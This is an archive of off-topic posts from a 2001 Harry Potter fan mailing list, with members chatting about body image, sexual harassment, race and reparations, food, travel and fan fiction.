On the third day: Paint your bedroom; absolve an old enemy; 
braid your hair or cut it all off. Think about November; 
imagine stars and clear skies; believe in possibilities and 
in hardship. Study signs; be grateful; consider devotion, 
moonlight and your own dreams. Early in the morning, at the 
hour when the grass is damp and the sky above you is 
cracking open like an egg, walk a dog through your 
neighborhood. then and there, while most people are still 
asleep in their beds, forgive yourself.


Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From bbennett at joymail.com  Tue Sep  4 20:00:42 2001
From: bbennett at joymail.com (bbennett at joymail.com)
Date: Tue, 04 Sep 2001 20:00:42 -0000
Subject: Talk about body image....
In-Reply-To: <5B009C4347@lincoln.treasurer.ohio-state.edu>
Message-ID: <9n3bta+rgi0@eGroups.com>

--- In HPFGU-OTChatter at y..., "Rachel Bray" <bray.262 at o...> wrote:

Rachel, I think you need to go back and put that skirt on layaway. 
You should really own something that speaks to you like that :).


B




From bbennett at joymail.com  Tue Sep  4 20:35:30 2001
From: bbennett at joymail.com (bbennett at joymail.com)
Date: Tue, 04 Sep 2001 20:35:30 -0000
Subject: Body Image - Body for Life
In-Reply-To: <3B942889.69374186@texas.net>
Message-ID: <9n3dui+42er@eGroups.com>

Has anyone here tried Body for Life? I started this 4 months ago, and 
I'm so happy with the results - I've lost 20 lbs and I'm in better 
physical shape than I've ever been. If anyone wants to hear more, 
please feel free to email me - I can't speak highly enough about this 
program!

B




From catherine at cator-manor.demon.co.uk  Tue Sep  4 21:04:41 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Tue, 04 Sep 2001 21:04:41 -0000
Subject: Cementing UK/US relations (was Re: Vile sandwiches)
In-Reply-To: <9n2kfd+pasn@eGroups.com>
Message-ID: <9n3fl9+gbbs@eGroups.com>

--- In HPFGU-OTChatter at y..., "Neil Ward" <neilward at d...> wrote:
> The word valance covers both the bed skirt and the window dressing, 
> as it is a frilly length of material intended to hide "structural 
> detail" (I checked my dictionary ? I'm no valance expert).  I like 
> the description `bed skirt' ? it says what it is instead of trying 
to 
> sound sophisticated and French.  
> 
> It's a `too-much-information' day!
> 
> Neil/Flying Ford Anglia

I thought that the frilly length of material used in window dressing 
was called a Pelmet (sp???).

Have I been suffering from a delusion all these years?

Catherine




From megrose_13 at yahoo.com  Tue Sep  4 23:59:18 2001
From: megrose_13 at yahoo.com (Meg Therese Elizabeth-Rose, but Meg Rose for short!!)
Date: Tue, 04 Sep 2001 23:59:18 -0000
Subject: I'm back, and thanks for the Birthday wishes!!
Message-ID: <9n3psm+3711@eGroups.com>

Hey guys!  I'm back from my 3 week trek across the US - I have great 
stories to tell, but I won't waste your time - unless you really 
wanna hear them!  LOL  So thanks so much for your happy birthday 
wishes, and actually, I didn't get any cake!  LOL Oh well, so I have 
a whole lotta catching up to do with all of these posts!  Do I even 
bother??  Whatever...  


Meg Rose




From megrose_13 at yahoo.com  Wed Sep  5 00:03:46 2001
From: megrose_13 at yahoo.com (Meg Therese Elizabeth-Rose, but Meg Rose for short!!)
Date: Wed, 05 Sep 2001 00:03:46 -0000
Subject: addressing your hogwarts letter
In-Reply-To: <9mv3c4+iv8r@eGroups.com>
Message-ID: <9n3q52+57j4@eGroups.com>

Hm...  Let's see...  

Meg Rose
Fairly large room with lots of posters,
2nd floor of the only blue house on the street,
Mahopac, NY

Something like that.....?




From crabtree at ktc.com  Wed Sep  5 01:01:09 2001
From: crabtree at ktc.com (Jo)
Date: Wed, 05 Sep 2001 01:01:09 -0000
Subject: Peanut Butter (was Vile sandwiches)
In-Reply-To: <9n0kth+6c8k@eGroups.com>
Message-ID: <9n3tgl+b8tk@eGroups.com>


> I am wondering if this is an American thing. Whenever I have lived 
> abroad everyone has been aghast at my taste for peanut butter! When 
I 
> lived in Turkey I had to send out for it and my students would LAUGH 
> at me!
> 
> Whose idea was peanut butter anyway?
> 
> Suzanne

We all owe this wonderful American food to George Washington Carver, 
an agriculturalist from somewhere in the Southeast (Georgia I think) 
who invented over 100 uses for the illustrious goober.

Professor Phlash




From blpurdom at yahoo.com  Wed Sep  5 01:06:38 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Wed, 05 Sep 2001 01:06:38 -0000
Subject: Psychic Serpent is DONE!
Message-ID: <9n3tqu+640l@eGroups.com>

The final installment of Harry Potter and the Psychic Serpent is on 
schnoogle.com!

Epilogue: Full Circle

http://www.schnoogle.com/authors/barb/PSepi.html

It is also available in the files section of the HP_Psych group.

http://groups.yahoo.com/group/HP_Psych/files

So for folks who like to know that a complete fic is out there, no 
waiting on chapter installments, check it out!  Although I'm not 
guaranteeing that everything is tied up.  After all, there are two 
sequels to go.

Speaking of which...

Coming September 18, 2001

Sequel to Harry Potter and the Psychic Serpent:

Harry Potter and the Time of Good Intentions
(or: The Last Temptation of Harry Potter)
Trelawney predicted that Harry would have to make a choice that could 
change the world as we know it...when Harry chooses and the world 
does change, does it change for the better?  Can Harry change if back 
if he wants?  Or is giving Harry exactly what he wants Voldemort's 
ultimate revenge?

Look for it at schnoogle.com and the Hp_Psych list!

Get Psyched Out!

--Barb





From ebonyink at hotmail.com  Wed Sep  5 01:14:13 2001
From: ebonyink at hotmail.com (Ebony)
Date: Wed, 05 Sep 2001 01:14:13 -0000
Subject: Sexual Harassment (was Re: Oppressing the overdog)
In-Reply-To: <9n1ltd+irrl@eGroups.com>
Message-ID: <9n3u95+6var@eGroups.com>

--- In HPFGU-OTChatter at y..., "Julie (a.k.a. Viola)" <viola_1895 at y...> 
wrote:

Julie wrote:

> In my career, I've been accused of using my looks to get ahead more 
> times than I can count. One boss took too much "professional" 
interest 
> in both me and a co-worker of mine - who was also blonde and 
> twenty-ish. When I finally got a female superior, she happened to 
be a 
> lesbian. All the "boys" called me her "lipstick." Nice. And, 
recently, 
> I was thoroughly appalled to discover my former colleagues 
spreading 
> the rumor that I was shagging my newest boss. 
> 


Wow, Jules... you know, I've been in the post-college work world for 
what, three years?... and I've had to face sexual harassment on each 
job I've been on.

The first was during my student teaching and first temporary 
placement.  I tried to ignore it, but because the only place for me 
to eat my lunch in the building was the teacher's lounge (a very 
remote place) I told my supervisor the third (and scariest!) time he 
cornered me up.  I was believed.

After student teaching, I taught there for a summer and STILL was not 
hired.  Supervisor's aside--"the principal thinks you're too much of 
a distraction."

Next school.  I was promoted fast... after a year, I was in 
administration.  There was a great deal of resentment towards the 
twenty-three year old sister with coiffed hair and pressed suits and 
hose and heels having authority over faculty twice her age who 
favored the "You Better Be Glad I'm Here" look of t-shirts, jeans, 
and sneakers and were suffering from acute Twenty Year Burnout 
Syndrome.  I was not only called the Black Barbie Doll, but also 
the "golden girl", "Miss Priss", and some other names that were 
completely unflattering and really must be censored.  The AP also 
loved to flirt with me (or *at* me, because I am stupid when it comes 
to flirting), and I guess this caused even more resentment amongst 
some of the other teachers.  I grinned and bore it... but the stress 
knocked me off my feet.  I *had* to get out of there.

Too soon to tell about this job... it's only my second week.  
However, I had a red flag experience towards the end of the last week 
that made me go, "d--n, not THIS again" with one of my *new* APs. 

I don't think sexual harassment and/or stereotyping has much to do 
with beauty... as twentysomething black girls go, I'm pretty darn 
average.  It does have everything to do with power struggles IMO.

--Ebony AKA AngieJ




From blpurdom at yahoo.com  Wed Sep  5 01:15:00 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Wed, 05 Sep 2001 01:15:00 -0000
Subject: Cementing UK/US relations (was Re: Vile sandwiches)
In-Reply-To: <9n3fl9+gbbs@eGroups.com>
Message-ID: <9n3uak+ogaa@eGroups.com>

--- In HPFGU-OTChatter at y..., catherine at c... wrote:
> --- In HPFGU-OTChatter at y..., "Neil Ward" <neilward at d...> wrote:
 > 
> I thought that the frilly length of material used in window 
dressing was called a Pelmet (sp???).
> 
> Have I been suffering from a delusion all these years?
 
A pelmet should ideally be stiff and solid, either made of wood or a 
similar stable material.  It is, however, often wood covered in 
padding, with a fabric on top of that which is designed to coordinate 
with the decor.  If it is purely fabric, it is a valance.  Want to 
know the different between piers, pilasters and columns and why a 
simple window with a fanlight over it is NOT a Palladian window?  
(Just kidding; Architectural History class flashbacks.)  Architecture 
and Interior Design jargon is a world unto itself...

--Barb





From blpurdom at yahoo.com  Wed Sep  5 01:34:03 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Wed, 05 Sep 2001 01:34:03 -0000
Subject: Sexual Harassment (was Re: Oppressing the overdog)
In-Reply-To: <9n3u95+6var@eGroups.com>
Message-ID: <9n3veb+vdou@eGroups.com>

--- In HPFGU-OTChatter at y..., "Ebony" <ebonyink at h...> wrote:
> --- In HPFGU-OTChatter at y..., "Julie (a.k.a. Viola)" 
<viola_1895 at y...>    > 
> 
> Wow, Jules... you know, I've been in the post-college work world 
for what, three years?... and I've had to face sexual harassment on 
each job I've been on.
 
Boy!  Reason #347 why I'm glad I've been a stay-at-home 
mom/freelancer since my son was a year old and a part-time student 
since my daughter was four!  When I was working as a waitress to pay 
my rent when I was in college the first time, sexual harassment came 
in several forms.  The customer who would sit at a table for hours, 
ordering nothing but coffee (free refills) and then always left me a 
ten-dollar tip.  He chatted me up whenever he could, and sometimes it 
was very hard for me to convince him I had other work to do.  When my 
boyfriend (now my husband) came to pick me up, the two of them talked 
amicably, but my guy told me the customer (a friend of a friend of 
mine) was always fishing to find out if there was any "trouble in 
paradise."  (LOL, Eb!)  

One of the cooks was especially forward, sometimes making very lewd 
suggestions of things I could "do" for him if I wanted the food I was 
ordering for my tables to ever see the light of day.  These were 
empty threats; my food always showed up when I needed it.  I usually 
laughed at his suggestions (more on the order of a guffaw, actually) 
which probably hurt his feelings, but my intention was to get the 
point across that I thought the idea of the two of us was ludicrous.

The only time I ever responded more forcefully to harassment at the 
restaurant was when I was cleaning up for the night one time, there 
were very few other people around, and the manager passed by where I 
was working and patted my rump, telling me I'd done a good job that 
evening.  This was a guy who'd had two previous girlfriends who were 
waitresses at the restaurant, and who was in fact seeing both of them 
simultaneously at one point (before they both got wind of it).  I 
knew that this guy, even though he was my boss, had to know the score 
in no uncertain terms.  I hollered at him, "What the hell do you 
think YOU'RE doing?" as loudly as I could, which stopped him in his 
tracks.  He hemmed and hawed and backed off and apologized...and 
never laid a finger on me again.

Most of the jobs I had after that were in environments which were 
almost entirely female, and the males who did work in those places 
were either gay, married, or sensitive humans with enough restraint 
to keep their hands to themselves.  For some reason, waitresses 
(especially if they are also college students) seem to have a big 
sign on them saying, "Look!  Here I am!  Harass me!"  Why I will 
never work in restaurants again.  After I get my architecture degree 
I think I'll even avoid DESIGNING restaurants...

--Barb







From gypsycaine at yahoo.com  Wed Sep  5 02:17:34 2001
From: gypsycaine at yahoo.com (Dee R)
Date: Tue, 4 Sep 2001 22:17:34 -0400
Subject: Ok, Miss Penny!
References: <999652462.1798.60260.l8@yahoogroups.com>
Message-ID: <02c701c135b0$ed6dd940$10ccfea9@computer>

I haven't seen a word recently concerning that little one!  C'mon, give us
details on how the little HP'er is doing, ok?

Thanks!

Dee

(Who hopes that folks back her up on this!)


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From ebonyink at hotmail.com  Wed Sep  5 03:34:14 2001
From: ebonyink at hotmail.com (Ebony)
Date: Wed, 05 Sep 2001 03:34:14 -0000
Subject: Oppression, Racism and Other Happy Things
In-Reply-To: <20010904135540.77762.qmail@web14609.mail.yahoo.com>
Message-ID: <9n46fn+d4c5@eGroups.com>

--- In HPFGU-OTChatter at y..., Nethilia De Lobo <nethilia at y...> wrote:
> Hmm...
I actually had a friend whose mother would not buy her
> white Barbie dolls because she hated white people and
> couldn't understand how I could own so many dolls of
> various races. 

While I don't agree with the sentiment and certainly not 
the "hatred", I understand what's behind the doll thing.  I had a 
long post to explain this... but I closed the window and lost it.  
For best results, the following essays are highly 
recommended:  "Migratory Subjectivities" by Carol Boyce Davies and 
*especially* "Material Girl:  The Effects of Postmodern Culture" by 
Susan Bordo.

While I own dolls of all different races and always have, I do 
understand how important it is to raise a girl with a healthy self-
image.  That means not only giving her toys of varying skin tones, 
but also of various body shapes.  After all, who looks like Barbie in 
RL?

I get along with white people better than I
> ever have black people, mainly because they don't give
> a damn that I'm smart and don't aspire to spend my
> life complaining about how Da Man keeps me down and
> then go pick up my welfare check. 


When I was younger, I used to secretly think this way... that's why 
I'm glad I had a Reality Check:  1)  I became a teenager/young adult 
and began to work and learn within mainstream society, in situations 
where I was the "only" or "one of the few" and 2) I attended a 
historically black university. 

This taught me two things.  First, the idea that if you are "smart" 
and black doesn't mean that you are going to be automatically 
embraced by all of mainstream white society or feel very comfortable 
there. Even if you desperately want to.  Even if you ingratiate 
yourself to the point of looking rather foolish.  Whenever you forget 
what you look like, seems like there's *always* that person behind 
the register or in the police car or in some other power position 
there to remind you.  Always.  After a while, I've found many middle-
to-upper class blacks get tired of that sort of "yanking".  We 
pretend it doesn't exist a lot, but it does.

Second, there are plenty of blacks who value education and learning.  
I met a lot of them from all over the nation and the world at my 
university.  This did wonders for my self-image.  I love my undergrad 
institution, support it, and am encouraging interested students here 
in Detroit to attend FAMU and schools like it.

I wanted to share my experiences this summer traveling to the UK with 
a bunch of American college students from all over the country, but 
the post got eaten!  Suffice it to say that I plan to write a series 
of essays from the notes I took.  It was *definitely* an eye-opener.  
Summary:  Compared to the UK and the bit I saw of France, America is 
interesting.  To say the least.

> Sometimes I think
> people delibrately keep themselves down--there's a
> girl who I grew up with, who saw her mother chose
> drugs over her family (the youngest was born with
> crack in his system), and slept around (her 8 children
> all have about 6 different fathers (I shouldn't talk,
> as me and my sisters have different fathers and me and
> my brother have different mothers, but we're spaced
> out over about 18 years)), and yet, instead of
> accepting her scholarship and going to college, she
> lays around the house, with different men and smokes
> all day. And she's two years younger than me. 

I think that this description is not symptomatic of race per se; it's 
symptomatic of class.  My father's parents and sibs all fit the above 
description... my paternal aunts had babies too soon and my uncles 
are in and out of prison.  My mother's parents were of a different 
class... her sister and brother went to Michigan and Stanford 
respectively.  My grandparents own quite a bit of property.  My 
grandfather owned his own business.  So in my grandparents' eyes, 
although they loved my dad my mother married "down"... and my 
grandmother is always warning my sisters and I not to let history 
repeat itself.

According to the latest census, the majority of African Americans in 
2000 were in the working to lower middle class, not below the poverty 
line.

I was going to end my e-mail here.  But I guess the next question 
would be, "Then why do blacks want reparations?"  The answer for me 
would be that not all of us do... last month the topic came up at a 
family gathering and the consensus was twofold (translating!  :-D):  
1)  If you're sitting on your behind waiting on a check, then you're 
going to be waiting for a very long time.  2) Reparations would be a 
denigration of what our ancestors suffered.  There isn't enough money 
to pay for the havoc the slave trade wrought not only in the 
Americas, but in Africa.

The two arguments against reparations that do annoy me are 
these:  "There are no slaves alive" and the related "I never enslaved 
anyone."  The first shows that the person has no knowledge of 
American history between the end of Reconstruction and WWII and the 
LEGAL STATUS of blacks during this time period.  It isn't like the 
those formerly enslaved could have actually walked into a U.S. court 
between 1880 and 1939 and demanded compensation for their labor... 
the Jim Crow South was quite a bit like apartheid in South Africa. 

And then the "I never enslaved anyone" thing makes my teeth hurt.  I 
never picked any cotton or chopped sugar cane, either, but the fact 
remains that the class structures that are in place in America today 
are indicative of what went on in the past.  My great-grandfather 
owned his own business in Alabama and it was torched to the ground... 
my grandfather owned his own business and it was swindled away from 
him on trumped-up charges.  There was no legal forum where they could 
ask for a redress of grievances.  Tell me, how many times *do* people 
have to start over?

Who cares about money?  I'd much rather mainstream America shake off 
its collective amnesia that seems to be getting worse by the year.  I 
laugh a lot when I read or watch the news.  It seems as if the media 
wants people to eventually think that the "perpetual urban 
underclass" was teleported here from another planet.  To expect a 
people devastated to recover from 400 years' worth of collective 
blows in 40 short years is sheer arrogance.  All things considered, I 
find it surprising that we've been able to survive, thrive and 
contribute to the American framework in the way that we have.

To finish this off, I think that some want reparations because 
there's this feeling that *something* has to be done en masse within 
black America.  From 1619 to 1865, we looked toward freedom... from 
1865 to 1964 we looked towards being regarded as citizens of the 
United States with full constitutional rights.  Since 1964 you've had 
the desolation of the urban centers via drugs... and in the wake of 
drugs, you have poverty and despair.  (This is why hip-hop is not a 
deliquent art form... it's a dystopian one!  What kind of music do 
you expect these kids to create, folk tunes about the blooming 
countryside?  Please!)  The reparations movement is highly misguided 
IMO, but at least it is acknowledging that things are still not as 
they ought to be.

Nethilia, I look around my family and my old neighborhood and I get 
frustrated sometimes too.  Be encouraged.  And don't give up on those 
you know who are like that... they need someone like you around more 
than you know.

--Ebony AKA AngieJ 




From saitaina at wizzards.net  Wed Sep  5 04:36:52 2001
From: saitaina at wizzards.net (Saitaina)
Date: Tue, 4 Sep 2001 21:36:52 -0700
Subject: [HPFGU-OTChatter] Sexual Harassment (was Re: Oppressing the overdog)
References: <9n3veb+vdou@eGroups.com>
Message-ID: <00d801c135c4$6330f6e0$3b4e28d1@oemcomputer>

I myself have never had any form of sexual harassment in the work place, nor
anyone I know  (course I only did three jobs before becoming an actress so
maybe that's why).  The only place I experienced sexual harassment, either
first hand or to someone else was...high school.   Quit laughing guys.  This
is a serious problem, as much as it is in the work place, and it's worse
because girls don't either think of it as sexual harassment  ("Guys will be
Guys") or they don't know that there is a way to stop it.  I myself knew
exactly what it was and how to attempt to stop it, but sadly my story
descended from sexual harassment to actual threats and later death threats
that resulted in me being removed from school for my own safety.  But that
aside (yes I would still have turned them in on it knowing what I know now)
I think that every woman should feel free to work in peace and men need to
be taught that women are NOT going to stand for what we used to.  The jokes,
the touching, the suggestions of just what you could do, the 'male' talk in
the presence of a woman who is uncomfortable with it, none of it is accept
able.

But on the other hand, women need to be taught the same things.  This is a
too sided coin.  Just as we will no longer tolerate men harassing a woman
sexually we will not accept the same behavior from women.  And women do it
every day without realizing it.  Talking about menstruation cycles and
ovulation, innuendo, suggestive ideas, talking about just how hot the date
was last night, and other things classified as "women talk" or sexual
discussions are forms of sexual harassment against men.  It is understand
able that when in a group of women in the work place these things will come
up, but it is our responsibility to be considerate of the men around us just
as it is their job to be condciderate of us.

Ooo, I went rambling again, sorry guys!  But these are my two galleons to
add the discussion.  Remember, always report the jerks and be considerate of
the nice guys.

Saitaina
*****
"I should go help," Willow said. "Or Giles is liable to speak English and no
one will understand him."-Willow,"Master of Puppets", by Saber
ShadowKitten-Buffy the Vampire Slayer-fanfic

"I'm not listening to you. I am at one. I am at peace with all living things
and if you break my concintration, I will break your legs."-Angel, "The
Florida Vacation"-Buffy the Vampire Slayer-fanfiction

"That's allright, Harry." said Dumbledore cheerfully. "We'll give you
another two years and then we'll feed you to a balisk."-Dumbledore,"Draco
Dormiens, by Cassandra Claire-Harry Potter-fanfic






From linman6868 at aol.com  Wed Sep  5 04:43:34 2001
From: linman6868 at aol.com (L. Inman)
Date: Wed, 05 Sep 2001 04:43:34 -0000
Subject: Oppression, Racism and Other Happy Things
In-Reply-To: <9n46fn+d4c5@eGroups.com>
Message-ID: <9n4ahm+4jdi@eGroups.com>

Ebony wrote:

> And then the "I never enslaved anyone" thing makes my teeth hurt.  
I 
> never picked any cotton or chopped sugar cane, either, but the fact 
> remains that the class structures that are in place in America 
today 
> are indicative of what went on in the past.  My great-grandfather 
> owned his own business in Alabama and it was torched to the 
ground... 
> my grandfather owned his own business and it was swindled away from 
> him on trumped-up charges.  There was no legal forum where they 
could 
> ask for a redress of grievances.  Tell me, how many times *do* 
people 
> have to start over?
> 
> Who cares about money?  I'd much rather mainstream America shake 
off 
> its collective amnesia that seems to be getting worse by the year.  
<snip>To expect a 
> people devastated to recover from 400 years' worth of collective 
> blows in 40 short years is sheer arrogance.  All things considered, 
I 
> find it surprising that we've been able to survive, thrive and 
> contribute to the American framework in the way that we have.
> 

I am from Tulsa, Oklahoma, home of The Race Riot that expands in ever-
widening news circles since the State Commission was formed on the 
subject, and you wouldn't believe the "collective amnesia" that some 
whites attempt to enforce even 80 years later.  Or perhaps you would.

I'm white; I have nothing in common with any of the African-Americans 
in my community.  Yet whenever I handle the photographs of that 
riot's devastation and inhumanity in the course of my work (my 
library owns nearly all of the original photographs), my reaction is 
violent and visceral.  I don't blame the black community for being a 
powder keg here, not one bit, and I know two things:  strength will 
have to come from within, and recognition (a significant recognition, 
whatever form it takes) will have to come from without.  Unless those 
two things happen, there won't be anything even approaching the 
camaraderie that so many whites hope will happen without cost.  

If those same whites saw the pictures I saw, they'd know as I know 
that it'll either happen with some cost, or it won't happen.  
Period.  If we're all in this together, then we'd better act like it.

This isn't a particularly reasoned post, sorry, but the memory gets 
me every time.

Lisa I.




From dfrankiswork at netscape.net  Wed Sep  5 08:06:23 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Wed, 05 Sep 2001 08:06:23 -0000
Subject: I'm back, and thanks for the Birthday wishes!!
In-Reply-To: <9n3psm+3711@eGroups.com>
Message-ID: <9n4mdv+qvkh@eGroups.com>

Meg Therese Elizabeth-Rose wrote:
> Hey guys!  I'm back from my 3 week trek across the US - I have 
great 
> stories to tell, but I won't waste your time - unless you really 
> wanna hear them!

OK, I'll be the sucker...  Yes, of course we want to hear them.  Fire 
away!

David




From macloudt at yahoo.co.uk  Wed Sep  5 08:45:34 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Wed, 05 Sep 2001 08:45:34 -0000
Subject: Peanut Butter (was Vile sandwiches)
In-Reply-To: <9n0s1j+evea@eGroups.com>
Message-ID: <9n4one+ef2a@eGroups.com>

--- In HPFGU-OTChatter at y..., hamster8 at h... wrote:
> Mary Ann ...
> 
> "I ask you, how can England call itself a First World Nation when 
it 
> has nothing remotely similar to Reese's peanut butter cups?  Six 
> years of deprivation, and I'm sinking fast..."
> 
> You're obviously not looking in the right places, then.  Jerry's 
Home 
> Store in the Bentall's Centre, Kingston-Upon-Thames stocks them, or 
> at least, did last time I was in there.  IIRC, they are actually 
> quite easy to get hold of> 

Hmm, fine, if you live in London...but if you live in Weston-super-
Mare...well, I consider myself lucky to have running water and 
electricity!! :)  I'll have to start looking around for the beloved 
Reese's when I next get to Bristol or Bath.  Might be a few months 
though.  Thanks for the links anyway!

Cheers

Mary Ann :)




From macloudt at yahoo.co.uk  Wed Sep  5 09:20:31 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Wed, 05 Sep 2001 09:20:31 -0000
Subject: Dealing with  Opression and MMI
In-Reply-To: <002001c1356e$46a9eaa0$c574e280@cc.binghamton.edu>
Message-ID: <9n4qov+h4fk@eGroups.com>

> Bodies are wierd things.  I'm finally comfortable with mine.  
Anyone who
> wants some virtual support, email me, we can drink virtual wine, 
eat virtual
> chocolate, (and did you know both contain antioxidants and are much
> healthier than you'd suspect?  <g>) and make fun of silly men while 
we
> compare ourselves to those wonderful Rubenesque women!
> 
Abbie, count me in!  I'm very Earth Mother Goddess-like myself, and 
perfectly comfortable with it.  Finding clothes that fit is a problem 
for me, too, as I'm 5'2" and a British size 16-18.  According to 
clothing manufacturers, with hips like mine I should be 6'8".

My husband weighs a good 30 lbs less than me, but never says anything 
about my size (probably through fear :P).  And having hips like this 
has one great advantage:  the combined labour time of my 3 kids is 
under 6 hours.  I may be short but I'm built like a docker, so 
there's no way I'd be healthy if I was the "recommended" weight found 
on those ludicrous height/weight charts.  Sure, I could do with 
losing some weight for health reasons, but a lot of our shape is 
genetic.  So let's forget this comparison nonsense and see each other 
for the good happy people we are.  People who compare other people on 
looks obviously don't have the brains to form any valid opinions.

Dibs on the orange cream!

Mary Ann :)




From s_ings at yahoo.com  Wed Sep  5 13:02:54 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Wed, 5 Sep 2001 06:02:54 -0700 (PDT)
Subject: [HPFGU-OTChatter] Re: I'm back, and thanks for the Birthday wishes!!
In-Reply-To: <9n4mdv+qvkh@eGroups.com>
Message-ID: <20010905130254.91906.qmail@web14603.mail.yahoo.com>


--- dfrankiswork at netscape.net wrote:
> Meg Therese Elizabeth-Rose wrote:
> > Hey guys!  I'm back from my 3 week trek across the
> US - I have 
> great 
> > stories to tell, but I won't waste your time -
> unless you really 
> > wanna hear them!
> 
> OK, I'll be the sucker...  Yes, of course we want to
> hear them.  Fire 
> away!
> 
> David
> 
You're not the only one, David. I'd be interesting in
hearing them as well. 

Sheryll, who is actually looking forward to taking the
bus from Canada to Texas

=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
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From megrose_13 at yahoo.com  Wed Sep  5 13:18:59 2001
From: megrose_13 at yahoo.com (Meg Therese Elizabeth-Rose, but Meg Rose for short!!)
Date: Wed, 05 Sep 2001 13:18:59 -0000
Subject: I'm back, and thanks for the Birthday wishes!!
In-Reply-To: <9n4mdv+qvkh@eGroups.com>
Message-ID: <9n58o3+jav2@eGroups.com>

OK, I'll be the sucker...  Yes, of course we want to hear them.  Fire 
> away!
> 
> David

LOL ok!  he he!  So Let's see...  I left Aug. 12th and went up to 
Niagra Falls.  I decided I would video tape this and my camera got 
wet and wouldn't work for 4 days!  There is this little warning that 
comes up saying "Warning - dew detected!" and then it shuts off...  
Somehow, I thing Niagra Falls is a little more than dew?  Anyway, so 
from there we skirted the Great Lakes and went through Ontario, out 
through Michigan, up to Wisconsin, and Through North and South 
Dakota - not much to say here - just a lotta road, grass, cows, and 
manure!  So anyway, we visited Mt. Rushmore in S. Dakota and that was 
pretty neat but well, about a 5 min stop...  Not much more that you 
can do besides look and take pictures...  Oh well...  So then we went 
through Wyoming and stopped at Yellow Stone.  We went through the 
geyser part of the park and that was awesome!  But we didn't see too 
many animals b/c there was construction going on and the trucks 
frightened the animals, I guess...  So from there we went through 
Boise, Idaho to visit my dad's family and then up to Washington State 
to Visit cousins and my Aunt and Uncle and my Grandma.  We went with 
my Grandma to see Crater Lake but it was so foggy for some reason 
that you couldn't even tell there was a lake there!!  Not to mention 
it was about 20 F so I was actually running to keep warm!  It was so 
miserable!  So we get back to my Grandma's house and we all get sick 
for a few days throwing up and all that delightful stuff...  So then 
we moved on to California through Napa valley and Stopped in the San 
Francisco area for a day (More cousins...)  And then we went throuhg 
Arizona and saw the Grand Canyon.  That was amazing!  From there we 
went through Carlsbad Caverns in New Mexico - that was simply breath 
taking!  I took about 30 pictures and the memory card on my digital 
camera was filled!  LOL So from there we went to Texas (Another Aunt 
and about 27245782 cousins!!)  And then we went through Lousiana, 
Mississippi, Alabama, Georgia, Tenessee, Virginia, W. Virginia, 
Maryland, and Pennsylvania on our trip back home to NY!!  Phew!  I 
was so worn out by all of this, not to mention I was crammed in the 
back of our Chevy Blazer with my 2 younger brothers, 7 and 10 mths.  
Oh, the joy!!   LOL But it was absolutely awesome and we put 10,000 
miles on out car!!!  WOW!  So, I guess I will end this now.. He 
he...  

Meg Rose




From bray.262 at osu.edu  Wed Sep  5 10:51:12 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Wed, 5 Sep 2001 10:51:12 EST5EDT
Subject: Here's what the Vanity Fair cover looks like!
Message-ID: <27F810BA8@lincoln.treasurer.ohio-state.edu>

http://empire2.warwick.usf.ihost.com/news/news.asp?3367

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From bray.262 at osu.edu  Wed Sep  5 10:58:43 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Wed, 5 Sep 2001 10:58:43 EST5EDT
Subject: Great pictures!!!!!
Message-ID: <29F3E4067@lincoln.treasurer.ohio-state.edu>

I LOVE the picture of the kids!!!!!  Oh, I can't WAIT to 
get my copy of Vanity Fair!!!!  WOO-HOO!

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From bray.262 at osu.edu  Wed Sep  5 11:04:49 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Wed, 5 Sep 2001 11:04:49 EST5EDT
Subject: Also about the movie..Harry broke another record
Message-ID: <2B97152AF@lincoln.treasurer.ohio-state.edu>

I thought they said it was going to be just under two hours 
long but according to Dark Horizons news source, the movie 
has broken the record as the longest running kid-themed 
movie at clocking in with 148 minutes.  Hmmm......wonder 
what was added?

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From tabouli at unite.com.au  Wed Sep  5 15:27:13 2001
From: tabouli at unite.com.au (Tabouli)
Date: Thu, 6 Sep 2001 01:27:13 +1000
Subject: Oriental/Asian with pink umbrella addendum
Message-ID: <008f01c1361f$54379760$1491aecb@price>

Nethilia:
> What Ebony says rings true. A lot of the people I grew
> up with had very narrow views on white people, Asian
> people (God, I am going to rip the face off of the
> next person who calls them Oriental. Oriental applies
> to rugs and noodles. Not people)

You know, I'm half-Chinese and work in whole cross-cultural anti-racism field, and yet this "using Oriental to describe a person is offensive" concept (which I think is an American concept: I've certainly never heard of this in Australia except from an American friend of mine) really doesn't strike a chord with me.  Now I don't know how the word Oriental is used by Occidentals (: D) in the US, and it maybe be more offensive than I realise, but frankly, I rather like the word Oriental... it sounds quite exotic.  And yes, I know using the word "exotic" to describe a person has also come under fire, but I can't help suspecting that viewing people as "exotic" rather than "bloody gooks takin' over our country" is a small step in the right direction.  At least it has reasonably positive associations: intriguing, mysterious, unusual in an appealing way.  If a group of people are seen as a threat, they are resented and reviled, if they're seen as "exotic", they're seen as interesting (even if in a fairly superficial "foreign artifact" way), which may attract people to explore further and progress beyond this point to a more genuine appreciation and understanding of Asian cultures.  Small steps.

